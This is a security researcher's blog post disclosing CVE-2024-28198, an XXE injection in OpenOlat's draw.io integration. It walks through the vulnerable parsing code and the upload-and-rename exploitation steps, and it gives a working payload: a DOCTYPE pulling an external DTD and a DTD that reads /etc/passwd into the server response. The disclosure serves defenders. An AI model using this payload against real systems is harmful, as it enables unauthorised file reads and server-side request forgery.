OpenOlat - XML external entity (XXE) injection (CVE-2024-28198)

Posted on March 12, 2024 by maik

Overview

OpenOlat is a learning management system (LMS), an internet-based learning platform for teaching, learning, assessment and communication. It is used by a number of universities, companies and other private and public institutions and can be adapted to organizational needs. Integrations provide advanced features and functionality such as web conferencing or document editors to expand its functionality.

During a brief review of the relatively new draw.io integration, an XML external entity (XXE) injection was identified. This allows malicious users for example to read arbitrary files and perform server-side request forgery (SSRF) attacks to prepare additional attacks.

To illustrate the potential impact, we successfully exploited this vulnerability on a standard installation of OpenOlat version 18.1.5. A Proof-of-Concept (PoC) was created that allows to read arbitrary files accessible by the configured system user running the application.

This blog post describes the vulnerability and shares some details about the exploitation of the identified issue.

Analysis

Given our previous exposure to OpenOlat (CVE-2021-39180 and CVE-2021-39181), we already had some familiarity with the code base. Due to the nature of the vulnerabilities identified previously, the focus was put on file handling and the draw.io integration immediately caught our attention due to its handling of SVG/XML files.

With the draw.io integration being rather simple, a cursory inspection of its implementation quickly revealed that the DrawioServiceImpl class uses a default DocumentBuilder instance instead of OpenOlat’s safe wrapper to parse user controlled XML data, leading to a XML external entity (XXE) injection.

The vulnerability can be triggered by REST-API endpoint /restapi/drawio/files/{fileId}/content which can be found in DrawioWebService.java:

@GET
@Path("/content")
@Produces(MediaType.APPLICATION_JSON)
public Response getFile(
    @PathParam("fileId") Long fileId,
    @QueryParam("access_token") Long accessKey,
    @Context HttpServletRequest request) {
  log.debug("Drawio content request for File ID: {}", fileId);

  return get(request, fileId, accessKey, true);
}

The endpoint expects a file identifier as a path parameter as well as an access token in the query parameters and simply calls the service’s get() method while setting the loadXML argument to true. This method is defined as follows:

private Response get(HttpServletRequest request, Long fileId, Long accessKey, boolean loadXml) {
  if (!drawioModule.isEnabled() || !drawioModule.isCollaborationEnabled()) {
    return Response.serverError().status(Status.FORBIDDEN).build();
  }

  Access access = docEditorService.getAccess(() -> accessKey);
  ...

  Identity identity = RestSecurityHelper.getIdentity(request);
  ...

  if (!access.getMetadata().getKey().equals(fileId)) {
  ...
  }

  VFSLeaf vfsLeaf = docEditorService.getVfsLeaf(access);
  ...

  FileInfoVO fileInfoVO = new FileInfoVO();
  addFileInfos(fileInfoVO, access, vfsLeaf, loadXml);

  return Response.ok(fileInfoVO).build();
}

After performing some sanity checks and verification of the provided access token it constructs a FileInfoVO-object by calling the addFileInfos() method:

private void addFileInfos(FileInfoVO fileInfoVO, Access access, VFSLeaf vfsLeaf, boolean addXml) {
  VFSMetadata vfsMetadata = access.getMetadata();
  fileInfoVO.setId(vfsMetadata.getKey());

  ...

  if (addXml) {
    // Does not work with PNG!
    String xml = drawioService.getXmlContent(vfsLeaf);
    fileInfoVO.setXml(xml);
  }
}

After setting some basic file info attributes such as the identifier or file size, it also sets the xml attribute (addXml is true) by assigning it the result of getXMLContent(), which is defined in DrawioServiceImpl.java as follows:

@Override
public String getXmlContent(VFSLeaf vfsLeaf) {
  String xml = null;

  String suffix = FileUtils.getFileSuffix(vfsLeaf.getName());
  if ("svg".equalsIgnoreCase(suffix)) {
    try {
      DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
      DocumentBuilder builder = factory.newDocumentBuilder();
      Document document = builder.parse(vfsLeaf.getInputStream());
      String xpathExpression = "//svg/@content";
      XPathFactory xpf = XPathFactory.newInstance();
      XPath xpath = xpf.newXPath();
      XPathExpression expression = xpath.compile(xpathExpression);
      NodeList svgPaths = (NodeList)expression.evaluate(document, XPathConstants.NODESET);
      xml = svgPaths.item(0).getNodeValue();
    } catch (Exception e) {
      log.warn("Cannot extract xml from svg file {}", vfsLeaf.getRelPath());
      log.warn("", e);
    }
  } else {
    xml = FileUtils.load(vfsLeaf.getInputStream(), "utf-8");
  }

  return xml;
}

If the file extension is not svg it loads the file contents more or less as-is. However, if the file extension matches svg, the file contents get parsed by a DocumentBuilder, which is constructed using a default parser configuration. This configuration is vulnerable to XXE if the parsed file contains external entity references.

Eventually, the value of the content attribute of the svg tag is returned to be stored in the xml file info attribute.

Exploitation

The exploitation of this vulnerability is pretty straight forward, but requires some fiddling with the web application to get a valid access token.

The general exploit idea is as follows:

  1. Upload a file with a .drawio extension, containing an XXE payload.
  2. Edit the file two times and close the first editor, leaving the second editor open, as otherwise the file is locked and cannot be renamed.
  3. We get the file id and access token by observing the resulting REST API call to the /drawio/files/{fileId}/info endpoint of the second file edit action in a proxy.
  4. Now, rename the file to have a .svg file extension.
  5. Finally, call /drawio/files/{fileId}/content with the file id and access token obtained in step 3 to trigger the XXE payload.

To read arbitrary files the following payload can be stored in a file called xxe.drawio and uploaded:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://localhost:8000/xxe.dtd"> %xxe;]>

<svg></svg>

This will cause the XML parser to fetch the external DTD from a server and interpret it inline. Further, it embeds an SVG element, that later holds the file contents as the value of its content attribute.

The external DTD (xxe.dtd) can be defined as follows:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ATTLIST svg content CDATA #FIXED '%file;'>">
%eval;

Here, an XML parameter entity called file is defined, whose value is loaded from the target file /etc/passwd. Then it defines an attribute named content on the SVG. The default value of this attribute is set to be the contents of /etc/passwd by evaluating the XML parameter entity file defined earlier.

Ultimately, the contents of /etc/passwd end up in the xml file info attribute that is included in the response of the /drawio/files/{fileId}/content endpoint.

The following screen cast shows the exploitation of a local installation of OpenOlat version 18.1.5:

Disclosure

The issue has been assigned CVE-2024-28198.